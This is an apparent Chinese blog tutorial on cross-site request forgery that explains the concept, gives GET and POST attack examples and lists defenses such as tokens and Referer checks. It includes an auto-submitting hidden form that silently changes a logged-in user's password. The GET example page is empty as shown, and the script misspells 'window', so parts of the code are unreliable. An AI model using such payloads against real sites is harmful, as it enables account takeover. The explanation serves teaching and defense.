CSRF
2016-07-12 本文已影响58人
cws
概念：
当你登陆某个网站时，通常浏览器与网站都会形成一个会话，在会话没有结束时你可以执行发表文章、发邮件、
删除文章等操作，若会话结束，你再操作的话会提示你会话已经结束，请重新登陆。
CSRF就是：攻击者通过一些技术手段欺骗用户的<b>浏览器</b>去<b>访问</b>一个自己曾<b>认证过</b>的网站并<b>执行一些操作</b>。也可以说CSRF就是黑客利用受害者的Cookie骗取服务器的信任从而执行一些操作
利用：
利用条件
- 攻击者可以得知url的所有参数项并了解其含义
- 诱导用户访问构造好的POC
利用地方
- 操作是有意义的(比如:修改密码等)
- 验证过于简单(参数固定、我们可以设置参数)
GET型CSRF攻击：
若有论坛www.aa.com，论坛删除文章的操作是请求类似
http://www.aa.com/opt.php?id=135&act=del&name=Tom的链接
有用户A，他登陆了论坛，且有篇文章id为251，那么他的浏览器此时已经取得了论坛的信任
此时有hacker用户B，他构造了一个html为b.html，b.html内容如下：
<html>
<head>
<title>test</title>
</head>
<body>
</body>
</html>
将b.html放在他自己搭建的网站上，网址为http://www.bb.com/b.html
恶意用户B将链接http://www.bb.com/b.html通过qq发送给用户A，
诱使他访问，用户A一旦访问，他id为251的文章就会被删除
POST型CSRF攻击：
若网站www.xx.com有让用户修改密码的功能，但验证过于简单，形如下图：
csrf_post.png
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>aa</title>
</head>
<body>
<form action="http://172.23.10.200/index.php/User/Index/RegisterUpdate/id/286" method="post">
昵称：<input type="text" name="password" id="password" class="form-control" value="xxxxx">
用户名：<input type="text" name="password" id="password" class="form-control" value="xiaoming">
密码：<input type="password" name="password" id="password" class="form-control" value="">
确认密码：<input type="password" name="cpassword" id="conpassword" class="form-control" value="">
<input type="submit" name="button" value="提交">
</form>
</body>
</html>
此时我就可以构造自动提交表单的xxxx.html，内容如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>test</title>
</head>
<body>
<form action="http://172.23.10.200/index.php/User/Index/RegisterUpdate/id/286" method="post" id="test">
<input type="hidden" name="password" id="password" value="666666">
<input type="hidden" name="cpassword" id="conpassword" value="666666">
</form>
<script type="text/javascript">
widow.onload= function(){
document.getElementById('test').submit();
// document.forms[0].submit();
}
</script>
</body>
</html>
然后将连接http://www.bb.com/xxxx.html 发送给用户，诱使他点击链接，一旦他点击，则密码就会被修改
防御：
- 二次确认(如删除用户、转账等重要操作弹窗要求用户确认)
- Token认证
GET操作请求：可以在Cookie中存储Token
POST操作请求：可以在form表单中添加一个隐藏的input标签，value值为Token - 验证Referer
